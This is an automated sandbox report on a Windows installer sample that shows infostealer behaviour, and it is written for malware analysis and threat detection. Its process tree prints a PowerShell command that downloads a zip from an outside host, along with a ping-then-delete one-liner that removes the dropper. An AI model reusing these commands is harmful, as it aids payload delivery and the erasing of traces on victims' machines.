Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/09/2026, 07:30
General
- Target dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe
- Size 3.9MB
- Sample260909-jbx76stycs
- SHA256 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 6 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 4 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\is-V9K2R.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp"C:\Users\Admin\AppData\Local\Temp\is-V9K2R.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp" /SL5="$402EA,3074722,825856,C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\is-BCLC7.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp"C:\Users\Admin\AppData\Local\Temp\is-BCLC7.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp" /SL5="$502EA,3074722,825856,C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
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C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\FnHotkeyUtility.exe"C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\FnHotkeyUtility.exe" -Embedding5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://internet-homepage.digital/ext.zip' -OutFile './ext_download.zip'"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\cmd.execmd.exe /C "ping 127.0.0.1 -n 3 >NUL & del sds.exe >NUL 2>&1"6⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping 127.0.0.1 -n 37⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
FnHotkeyUtility.exe
VCRUNTIME140.dll
ludp.dll
msvcp140.dll
spkvol.dll
vcruntime140_1.dll
__PSScriptPolicyTest_xfed5ldm.hat.ps1
dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp
memory/456-9-0x0000000000780000-0x0000000000ADF000-memory.dmp
memory/456-5-0x0000000001650000-0x0000000001651000-memory.dmp
memory/1072-44-0x0000000000570000-0x0000000000648000-memory.dmp
memory/1072-7-0x0000000000570000-0x0000000000648000-memory.dmp
memory/2284-68-0x000001DF3D0D0000-0x000001DF3D876000-memory.dmp
memory/2284-58-0x000001DF3C3F0000-0x000001DF3C412000-memory.dmp
memory/3296-10-0x0000000000570000-0x0000000000648000-memory.dmp
memory/3296-1-0x0000000000570000-0x0000000000648000-memory.dmp
memory/4368-47-0x00007FFA61BF0000-0x00007FFA61DFF000-memory.dmp
memory/4368-46-0x00007FFA61BF0000-0x00007FFA61DFF000-memory.dmp
memory/4368-45-0x00007FF636300000-0x00007FF636454000-memory.dmp
memory/4368-48-0x0000000140000000-0x0000000140024000-memory.dmp
memory/4368-42-0x00007FFA61BF0000-0x00007FFA61DFF000-memory.dmp
memory/4368-66-0x00007FFA61BF0000-0x00007FFA61DFF000-memory.dmp
memory/4368-74-0x00007FFA61BF0000-0x00007FFA61DFF000-memory.dmp
memory/4556-43-0x0000000000B50000-0x0000000000EAF000-memory.dmp
memory/4556-14-0x0000000001550000-0x0000000001551000-memory.dmp